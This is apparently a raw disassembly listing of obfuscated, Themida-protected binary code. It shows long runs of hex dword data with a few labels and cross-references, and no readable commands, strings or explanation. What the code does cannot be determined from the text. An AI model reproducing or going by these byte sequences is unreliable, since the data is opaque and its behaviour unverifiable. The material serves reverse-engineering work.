5F1DAEFEh dd 25CD9D89h, 858B07E4h, 7E41EB5h, 0C6F9h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 9EC35747h, 0AEC94166h dd 0BCBFB4C6h, 0E5958993h, 0C707E40Dh, 0E4267185h, 7, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0FDBD8B92h, 0E907E40Dh, 0FFFFF323h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 0DCC35040h, 9005C44Dh, 8BD98B66h dd 0D59D8BC1h, 0F07E40Dh db 0B7h, 0D9h word_5CAEC2 dw 858Dh ; DATA XREF: Themida_:0058337Co dd 7E40D85h, 89FE8B50h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 0A9965BC3h, 1E266F1h dd 0BF4CF404h, 6A169323h, 0B70F006Ah, 0F006ADFh, 48Dh dd 0D6BF6600h, 0B52957DEh, 7E41F11h, 858D5Fh, 6A07E88Ch dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0CE0AC351h, 81C13FCDh, 0DF7DB4CFh, 2DCB810Ch dd 0E964F2E5h, 0Fh, 4668FC15h, 8C7017AFh, 94BF1CA0h, 83B5A9B2h dd 0C38105C0h, 5892188Eh, 9D9D0156h, 5B07E42Fh, 0BF525090h dd 6F9214Dh, 585A310Fh, 90D88B50h, 0DEBF0F60h, 61DEB70Fh dd 211DBD0Bh, 6A07E4h, 68B0Fh, 9D8B0000h, 7E402DDh, 9698D89h dd 6A07E4h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 87C35141h, 0C788571Fh, 95FFF88Fh, 7E42471h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 6AC35141h, 4515AD50h dd 286D446Fh, 9D9D23F6h, 8B07E424h, 4B8D8DFAh, 6A07E7D6h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 1C16C357h, 55302755h, 83D1FF93h, 0E42015BDh dd 850F0107h, 63h, 1835BD2Bh, 26A07E4h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Ch, 11C35242h, 5BD03FD6h dd 0A6730C9h, 0F506090h, 86h, 8F0F5E00h, 6, 840Fh, 50610000h dd 7E9h, 0BF81DD00h, 0DC005AA3h, 0D5BD0390h, 0FF07E425h dd 0E431AD95h, 51B58907h, 0E907E430h, 0DA0h, 0E8h, 0ED815D00h dd 7E88C0Ah, 66F78166h, 57006AFBh, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 0E1858DCFh, 0E907E7C6h dd 0Bh, 0AEEFF8E3h, 3E54F40Ch, 8B55C2DEh, 0E425F99Dh, 52509007h dd 2F6FC3BBh, 0E8310F3Bh, 0Bh, 1E549449h, 0C15B4853h, 600B0FB5h dd 585A5B61h, 0BF525050h, 4025593Fh, 14E8310Fh, 0C4000000h dd 0E780E25Fh, 3894BDCBh, 7DC86CFDh, 0BFCA8D2Ah, 0BF718B72h dd 14D1B6FEh, 90585A5Fh, 35FF64h, 0F000000h, 38Ah, 0F8B70F00h dd 258964h, 0FC000000h, 27B268BFh, 0B985FF01h, 8907E420h dd 0E41C31BDh, 31BD8907h, 6A07E42Ch, 51006AFFh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 4CE0845Bh dd 7578EB89h, 0BD8B4D87h, 7E42285h, 226DBD03h, 0B5FF07E4h dd 7E406A5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 0D1C35747h, 82750553h, 7E89DD3h db 3 dup(0) byte_5CB1B3 db 0F6h ; DATA XREF: Themida_:00583354o dd 0AFC66B85h, 0C7B38197h, 4D95FF5Bh, 0E907E430h, 112h dd 2DB589h, 0B007E4h, 42986ABFh, 0F70E632h, 71E4FEBFh dd 6DB58B60h, 0E907E424h, 0Ah, 2399BE28h, 737B769Eh, 3C61C543h dd 0DF830F61h, 0F000000h, 0BAF5C8B6h, 6, 8BF8BF0Fh, 11BD0BC1h dd 0C107E416h, 0C4B304E8h, 8BE2F766h, 0E4198D9Dh, 0CE907h dd 90550000h, 8603ED36h, 1FF9FF6Fh, 0C82BF8A9h, 8BDF8B66h dd 0A99589D1h, 0E907E403h, 2, 858BFC8Ah, 7E40349h, 29BD9D2Bh dd 8B6607E4h, 7C083DFh, 1860Fh, 83F50000h, 8A0F00C0h, 2 dd 0D03BF88Bh, 21830Fh, 13E90000h, 24000000h, 224E067Eh dd 7EA564E3h, 51489995h, 0C4436431h, 4FE95B23h, 66000000h dd 8BD4E2BFh, 0E40B698Dh, 66F88B07h, 0E183D98Bh, 37840F01h dd 0FC000000h, 0B69A583h, 0E9FE07E4h, 13h, 16B3D917h, 715D6D23h dd 17A04D00h, 5C1CBBBh, 8958328Bh, 0E4034995h, 91BD8B07h dd 8B07E402h, 0E4249D9Dh, 0E907h, 0B58D0000h, 7E8187Bh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 73C35242h dd 13E91D24h, 0AC000000h, 1A50218Ah, 0D0D2F998h, 0F9B79314h dd 0D61715A7h, 9D8966F5h, 7E40EC9h, 8166006Ah, 0FF4D9DCBh dd 0E40E4195h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 5DE50543h, 0D26B9h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 806F812Dh, 81DC922Ah, 2D6A8ACBh, 91BD0B7Ch, 8307E42Ah dd 0B529FCE1h, 7E41E85h, 498D89FCh, 0B807E426h, 0 dd 35818589h, 0BAF807E4h, 0 dd 0C8E0Fh, 880F0000h, 6, 0B09B501h, 33AD07E4h, 3E8D1C2h dd 4E983D0h, 6AF475h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 0E4FF84C3h, 1465FD33h, 95090E16h dd 7E402B5h, 0B2638BFh, 880D26h, 12E90000h, 25000000h dd 0C19DD59Bh, 94BC32E7h, 0F4104C39h, 8D260B08h, 71958B0Eh dd 8B07E41Bh, 0E42AAD9Dh, 0A18D8B07h, 8107E42Dh, 73A393C7h dd 0C28B5020h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 85D4C352h, 0D780C451h, 224BB72h, 0BD831339h dd 7E40611h, 3D840F00h, 60000000h, 0A71B58Bh, 8D8907E4h dd 7E400FDh, 0B861h, 0BF660000h, 8D8DC727h, 7E44FE7h, 0EE953h dd 872E0000h, 0C02062FCh, 5CD8DF1Ch, 929218DFh, 0DEB70F5Bh dd 9529E1FFh, 7E42A71h, 22B9BD83h, 0F0007E4h, 49B84h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 39AEB283h, 0DB529D6h, 8307E415h, 0E422B9BDh, 840F0107h dd 483h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 9FC35545h, 256E1F88h, 3830FFEh, 0F000000h, 0BD83DBBFh dd 7E422B9h, 16860F03h, 0FC000004h, 50006A60h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0B8F1E98h dd 943E6A6Fh, 0BD2B8063h, 7E41C39h, 6AD98C66h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 0AA16C355h, 79FDDF27h, 800058DCh, 8D2904E1h, 7E42205h dd 840FC90Ah, 14Fh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 75C35040h, 896051BBh, 0E402218Dh, 91BD8B07h dd 6107E424h, 651858Bh, 8B6607E4h, 298533DEh, 5607E420h dd 527BB66h, 5250905Fh, 8EA7D9BBh, 51310F35h, 840Fh, 5A5B0000h dd 66605058h, 66D008BBh, 9061D78Bh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 0A6C35040h, 2BA0B8CFh, 0E40951BDh dd 0D1BD0307h, 2907E404h, 0E40879BDh, 6A006A07h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 7F8DC357h, 0E6BEBFA6h, 0B5011957h, 7E4128Dh, 4E8h, 1F03FF00h dd 0A5BB6600h, 0BB665007h, 448B63CDh, 1B30424h, 89BB008Bh dd 894AAB41h, 0BF042444h, 4524D1F9h, 0FFFD8A58h, 0E42D9995h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 6021BA51h, 673366B0h, 9531E057h, 7E405C5h dd 2C319501h, 858907E4h, 7E7F8A5h, 0DE960h, 0D60A0000h dd 0DDE2EAA2h, 0A380BED1h, 0F867A65h, 68Ah, 0ED9D2B00h dd 6107E42Bh, 1F9E9h, 35858900h, 8B07E40Eh, 0E7F89D85h dd 7BB6607h, 0B50360B7h, 7E42785h, 0C761D18Bh, 1800h, 8BFB8B00h dd 0E7F8A1B5h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 72F442ADh, 12E89F22h dd 49000000h, 0DB5BCA41h, 6BE1EA5Bh, 0F1B56B02h, 0D986D5DAh dd 68E0FFCh, 81000000h, 0E42E6CCBh, 840F5F54h, 2, 858BD98Ah dd 7E40099h, 5E8h, 9DADE800h, 0D380CEA9h, 6895B73h, 8529F960h dd 7E4039Dh, 11BD8B61h, 8B07E40Eh, 0E4065185h, 4468907h dd 0F9858951h, 5B07E41Eh, 38A0Fh, 8B660000h, 0E96050FEh dd 11h, 39230273h, 0BF796F1h, 598EE6F7h, 26AAB3Ah, 10E9B4h dd 74E20000h, 0A5B9AC83h, 47231031h, 0DE0512F2h, 89615C5Fh dd 0BD8B2434h, 7E42589h, 0F89DB5FFh, 6A07E7h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0D4EAA4C3h dd 257EB556h, 0F52B6CEh, 0BD8BD8B7h, 7E42435h, 4E8h, 1F03FF00h dd 0FDBB6600h, 10E850DFh, 0A1000000h, 43004711h, 141319C0h dd 7B41E8D4h, 0E8956524h, 5, 0EA24AA15h, 7E954h, 0CA4D0000h dd 0C02CDD7Fh, 8B5F5FA8h, 0B3042444h, 0E8008BA5h, 6, 4ECF8CADh dd 91B7BC49h, 2444895Fh, 8B666004h, 28E0FC6h, 60000000h dd 6A586161h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 2325C357h, 0F8A5858Dh, 0B58907E7h dd 7E406D5h, 89DE8B50h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 982142C3h, 5FFEB66h dd 0BB669479h, 0FE9F428h, 12000000h, 0E55827EDh, 84A84972h dd 0CC4470DFh, 95FF7CFFh, 7E42D99h, 18718D89h, 0F86107E4h dd 8E853h, 15CA0000h, 7324397Ch, 0D88B591Ah, 85C75B5Bh dd 7E422B9h, 3, 2B45B509h, 0BD8307E4h, 7E7F8A5h, 3E840F00h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 0EF49C351h, 0B06A41E9h, 0BE9h dd 6A5D5C00h, 8EF4FE44h, 0FABCD83Fh, 6A19589h, 1DE907E4h dd 8B000000h, 0C3050D9h, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 81BF6660h, 1F181BFh, 610A70AAh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0A4C35040h dd 0F633BAEh, 0BD83DABFh, 7E422B9h, 40850F03h, 0F000004h dd 0BD83DEBFh, 7E7F8A5h, 30840F00h, 6A000004h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 353DC353h, 6800F41h, 8B000000h, 0E40EF1BDh, 0A5B5FF07h dd 6007E7F8h, 68E0Fh, 0BD890000h, 7E42349h, 27A5BD89h dd 0FF6107E4h, 0E4044D95h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 8B7E2339h dd 176140DDh, 0B58B4642h, 7E7F899h, 3F11BF66h, 106C7h dd 6A0001h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 0C20F76C3h, 4916695Ch, 0BF66FD54h, 0BB6632D8h dd 0E89636F4h, 8, 0C00DDB15h, 394F2B03h, 505BDE8Bh, 7E853h dd 0D5500000h, 9FA79344h, 820F84h, 5F000000h, 6A965Fh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0AC6FBDC3h, 6FF33985h, 0B5FF4702h, 7E7F8A5h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0F4C35141h, 0ABA2F1ADh dd 89FB3832h, 0E43169B5h, 995FF07h, 3307E42Ah, 0E42AFD9Dh dd 99B58B07h, 6A07E7F8h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 4723C350h, 65858BF2h dd 6A07E431h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 56BBC357h, 578211E2h, 0F3816695h dd 86890EAFh, 0C4h, 1EB19D8Bh, 958B07E4h, 7E41B71h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0B0C35747h, 1660179Fh dd 0C7A05DC2h, 8E0F50D7h, 6, 870Fh, 835F0000h, 6A04C2h dd 3E850h dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 8D01C4C3h, 7E417D9h, 6A205089h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0D593C355h dd 0AD9D8BC5h, 8D07E42Ah, 0E80CD485h, 55006A07h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 530D148Ah, 6E8409A1h, 0AE9h, 43376400h, 0A6138369h dd 8914BD4Bh, 0B886h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 0B3CD8BFh, 6649EC7Ah dd 6AA820BBh, 0D7816600h, 0B5FFFED8h, 7E7F8A5h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 23C35040h, 5607C66h dd 0C105D764h, 0AD95FFBFh, 8B07E431h, 0E6BF96D8h, 50355522h dd 52006A96h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 0B74A1307h, 0B5FF67A6h, 7E7F8A5h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 74C35141h, 1195FF94h dd 6A07E41Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 10AFC356h, 0F4992951h, 89607F03h dd 0E4023D85h, 0DEBF0F07h, 0F9BD8361h, 7E40Dh, 12840Fh dd 0BD8B0000h, 7E42409h, 89D98A50h, 85892434h, 7E42BF9h dd 0F8A5B5FFh, 6A07E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 0F838AEC3h, 27D95FFh, 0BD2907E4h dd 7E40419h, 0F8A5B5FFh, 13E907E7h, 58000000h, 0A4DF1882h dd 5085ED38h, 362371BEh, 0F4033B0Eh, 5E8BE7Dh, 1000000h dd 0C485192Ah, 458D8960h, 6607E41Ah, 0BDA8D881h, 95FF5B61h dd 7E40971h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 40C35040h, 0A21BD83h, 0F0207E4h, 3A84h, 98D8900h dd 8B07E42Bh, 0E41EB585h, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0BD8BBB1Fh dd 7E421A1h, 2D75BD23h, 0C607E4h, 0C7FE8B00h, 0E4267185h dd 7, 6D9D8900h, 0E907E42Dh, 0FFFFF353h, 1C15BD89h, 0C18B07E4h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 9C35343h dd 4B7A083Dh, 9D2BC911h, 7E42465h dword_5CBE30 dd 0D85858Dh, 9D2B07E4h, 7E41BD1h, 0F5905090h, 0BF0F006Ah ; DATA XREF: Themida_:00584B14o dd 0F006AFFh, 9D31F8BFh, 7E42349h, 9AC7858Dh, 0BD8B07E8h dd 7E40E45h, 6005C083h, 2F7D958Bh, 506107E4h, 12E8h, 318D9B00h dd 0A3A2F948h, 0EA2DA14Fh, 79A163C3h, 662FC228h, 5F2173BFh dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 23B2C351h, 0A6CEBB29h, 6A7246h dd 22D19D8Bh, 6A07E4h, 1B9D9D8Bh, 95FF07E4h, 7E42471h dd 0BC0CC781h, 8D8D4C58h, 7E7D64Bh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 68C35646h, 0C362B174h, 0FE9325Bh dd 0DE000000h, 0B248E4C6h, 0C400B2B5h, 8521190Eh, 0D1FF521Ch dd 1D69BD2Bh, 0BD8307E4h, 7E42015h, 3B850F01h, 89000000h dd 0E40D89BDh, 6A026A07h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 0FB83C357h, 0C48616FCh dd 50FAD380h, 4895F50h, 0AD95FF24h, 0F07E431h, 8EE9DEBFh dd 0E800000Eh, 0 aBaSJ_0 db ']νΡθ',7,'j',0 db 56h, 0E8h, 3 dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 2882C356h, 0D8C67AA5h, 2964746Dh, 0E42AA5B5h, 359D8B07h dd 6A07E402h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 0E998C353h, 8B665014h, 858D5BFAh dd 7E7C6E1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0B5C35141h, 0B6CE257Eh, 8E0FE952h, 5, 0BDEB8166h dd 665090B1h, 5B390DBBh, 3B0FBB50h, 6A9073EDh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 3A28C356h, 0C860Fh, 830F0000h, 6, 0E29B589h, 0BE807E4h dd 0C9000000h, 93D529E5h, 5F95EC66h, 85892D8Dh, 7E431DDh dd 35FF645Fh, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0B6C35545h dd 1FBB6660h, 61D88B9Fh, 258964h, 29000000h, 0E40DB9BDh dd 0B985FF07h, 6A07E420h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 0EC6AC353h, 6840Fh dd 9D890000h, 7E41C7Dh, 13E9FF6Ah, 0B8000000h, 457F8229h dd 2C5F2E41h, 7F61D8CAh, 229E772Ah, 0B5FFF713h, 7E41811h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 41C35242h dd 0DA8B668Ch, 304D95FFh, 66E907E4h, 0F000001h, 1289h dd 0DE900h, 3D760000h, 176D8D1Fh, 29582B5Eh, 0B0D21AE2h dd 0BD9D8900h, 0E607E415h, 0BBB6670h, 6671E499h, 3924CB81h dd 830F613Ch, 131h, 29C8B60Fh, 0E4213D85h, 6840F07h, 29000000h dd 0E40ED5B5h, 6BA07h, 9E90000h, 0AB000000h, 605F12DCh dd 9254BCEh, 58F0Fh, 3BB0000h, 8B742097h, 4E8C1C1h, 2D458D31h dd 0F76607E4h, 2BDF8BE2h, 38E0FC8h, 80000000h, 8B6049D3h dd 0E4024595h, 2810F07h, 57000000h, 0D18B615Ah, 10E9h dd 28FC5500h, 0DA03216Fh, 82E7919Fh, 0F03831DDh, 6E949h dd 0D7810000h, 424ADF54h, 25C5858Bh, 5E907E4h, 78000000h dd 47E6EEB0h, 8907C083h, 0E42221B5h, 0C08307h, 0A58D8957h dd 5B07E415h, 830FD03Bh, 2Ch, 0E5BD8B51h, 5F07E422h, 78E9h dd 13E800h, 141F0000h, 0D531980h, 0BA0268A8h, 7E44EAF4h dd 7264DA26h, 19BD8B32h, 5B07E40Ah, 35918D8Bh, 0E85107E4h dd 12h, 0EED3E5DBh, 60914E07h, 76675CC0h, 1C3EA262h, 0DEB768FDh dd 9D035F5Fh, 7E40035h, 0F01E183h, 2884h, 68E0F00h, 1000000h dd 0E403F985h, 91A58307h, 0FE07E435h, 19E7BB66h, 25C59589h dd 0BD8B07E4h, 7E41DD9h, 0E9h, 2AB58D00h, 8B07E827h, 0E423A1BDh dd 6A006A07h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 0E5B6C356h, 5E9h, 0D421E600h dd 95FF06A7h, 7E40E41h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 8C35545h, 0E8D260Bh, 0CE95380h, 0B1000000h dd 852A6553h, 28637CD7h, 0B91CD69Ch, 817h, 2FE1BD8Bh, 0E18307E4h dd 0B1BD89FCh, 0FC07E418h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0D9C35545h, 9743A5E3h, 0F4F6DF5h, 0A87h dd 5E900h, 0A79A0000h, 2B093BBCh, 659D09C0h, 0BA07E424h dd 0 dd 8BD38166h, 0F7EF81E4h, 0AD5BE889h, 0E8D1C233h, 0E983D003h dd 6AF47504h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0F7F4C351h, 0F5D10209h, 6ACD87h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 3EE7BDC3h, 0CBD7FA0Fh, 0DF8494Dh, 88h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 15h, 0EBC35343h, 6E9C8h dd 34E80000h, 0ED6DB31Eh, 71958BF5h, 6A07E41Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 0E5D1C351h, 52426BA1h, 0BFC4D71Dh, 0CFD8414h, 6830Fh dd 0BD290000h, 7E41E6Dh, 2DA18D8Bh, 6A07E4h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 6E950C3h dd 0E5000000h, 52426BA1h, 0C28B501Dh, 0C103188Bh, 0C18B188Bh dd 0C203E8D1h, 6A58188Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 638AC350h, 0AB359F5Eh dd 89682DBFh, 0E42AE1B5h, 0BD83F907h, 7E40611h, 47840F00h dd 80000000h, 0B814C7h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0C3B6C352h dd 8D09C14Fh, 7E4009Dh, 0DF8166h, 0E78D8D52h, 8B07E44Fh dd 0FE1FFDAh, 581h, 0C664BB00h, 0BD836546h, 7E422B9h, 9D840F00h dd 0F5000004h, 22B9BD83h, 0F0107E4h, 4AA84h, 71958900h dd 0BF07E422h, 1056C278h, 22B9BD83h, 0F0307E4h, 45C86h dd 0E9BD2B00h, 6007E401h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 7CC35646h, 0FAADDF57h, 0B1B589EDh, 8107E403h dd 7258B8DFh, 0D98C6604h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 0D7C35646h, 666610CEh, 860FF88Bh, 6 dd 14FD9D8Bh, 0E18007E4h, 56006A04h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 0E6EA6BCh dd 4FEF8163h, 0A254F46h, 69840FC9h, 6A000001h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 7D09C352h, 0BF7C13A1h, 725B5D67h, 651858Bh, 6A07E4h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 435427C3h, 4FE380F4h, 6810Fh, 0BD8B0000h, 7E42D19h dd 20298533h, 8D0F07E4h, 6, 365BD23h, 0E89007E4h, 0Ch dd 0E2399209h, 0F53BC80Ah, 0E9548529h, 5810Fh, 2BB0000h dd 5B5268AAh, 0B7525050h, 66310F74h, 585AD98Bh, 6AF98B90h dd 79858900h, 0E807E402h, 4, 1F03FFh, 50525060h, 5A310F52h dd 0BE310F58h, 24C9953Ch, 8A0F585Ah, 17h, 11E8h, 4180AC00h dd 3DDF4A3h, 34C62E36h, 456483ECh, 615E22D8h, 8B49B750h dd 66042444h, 8BD88Bh, 840F5250h, 2, 310F73B3h, 585A1AB7h dd 4244489h, 9C26F6BFh, 6A5829h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 4A1CDDC3h, 5718D99Ah dd 95FF5BF9h, 7E42D99h, 0B66ECF81h, 9D8B574Ch, 7E42DADh dd 0F8A58589h, 816607E7h, 0E97427E7h, 1EBh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 5DC35545h, 63FE6D2Ah dd 0DC440032h, 0F89D858Bh, 6A07E7h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 751E1EC3h dd 1800C74Dh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 6619C357h, 1B53E781h dd 0F8A1B58Bh, 0BD3307E7h, 7E40145h, 99858Bh, 6A07E4h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 689B8C3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 0E4C35545h, 816645F0h, 8BF586F3h, 0E4065185h, 89DF8B07h dd 6A0446h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 47BF0DC3h, 5040B2C1h, 14E860h, 0BBCF0000h dd 582182C3h, 55413ACFh, 973CE4AAh, 0DBB3EC84h, 4BBE2373h dd 5E401300h, 0F56B966h, 24348961h, 15298589h, 8E907E4h dd 0DD000000h, 56AED9F8h, 0FF00BD9Fh, 0E7F89DB5h, 0CB816607h dd 0FE68CCD3h, 8142413Bh, 38012434h, 6A425Eh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0BBCF7CC3h dd 63A3FC94h, 1C1D9D8Bh, 858D07E4h, 7E7F8A5h, 41BD8Bh dd 669007E4h, 50FA78BBh, 52A12BFh, 6A9050h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 78920EC3h dd 0ECBE05B2h, 0CE84Dh, 44C70000h, 0F76E4185h, 4DB61353h dd 0B5890186h, 7E415E5h, 9995FF5Fh, 6A07E42Dh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 8B61C355h, 0E426819Dh, 0B4EF8107h, 6138A39Eh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 80C35040h, 518F4481h dd 6CC51EAEh, 10E9h, 0BED05C00h, 0EB44EDF1h, 34E871B5h dd 0ED6DB31Eh, 0B985C7A8h, 307E422h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 8693C355h, 0B586B97Fh, 68A0Fh, 85890000h, 7E42019h dd 0F8A5BD83h, 0F0007E7h, 1884h, 8E900h, 5E8A0000h, 0EE4AC20h dd 21E98F79h, 3000000h, 0E40E459Dh, 0C305007h, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 0AADB589h, 6A07E4h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 253057C3h, 0D8B70F40h, 22B9BD83h, 0F0307E4h, 3EB85h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 1B59A143h, 0FB8B14FBh, 0F8A5BD83h, 0F0007E7h dd 3BB84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 63A9E86Ch, 0F4191B87h, 9D032C83h dd 7E4237Dh, 0F8A5B5FFh, 6A07E7h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 0BD8BAEC3h, 7E42139h dd 44D95FFh, 5ABB07E4h, 661055E0h, 8B6503BFh, 0E7F899B5h dd 39BD8B07h, 0C707E426h, 1000106h, 6830F00h, 89000000h dd 0E41C598Dh, 890F9607h, 5, 4B2DBBBBh, 6A96500Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 353EC351h, 0BF4BD804h, 14E9h, 0CA72A00h, 482A763Fh dd 56E02E88h, 0F41DB1A9h, 5B7B5E67h, 0A5B5FF4Ah, 6007E7F8h dd 18299D89h, 0AE907E4h, 0E2000000h, 0AA50911Eh, 0B05E9A11h dd 95FF61D4h, 7E42A09h, 0F899B58Bh, 8B0F07E7h, 4, 5BD98B52h dd 3165858Bh, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 17D9C3C3h, 579785EAh, 0BD23B050h dd 7E42341h, 0C48689h, 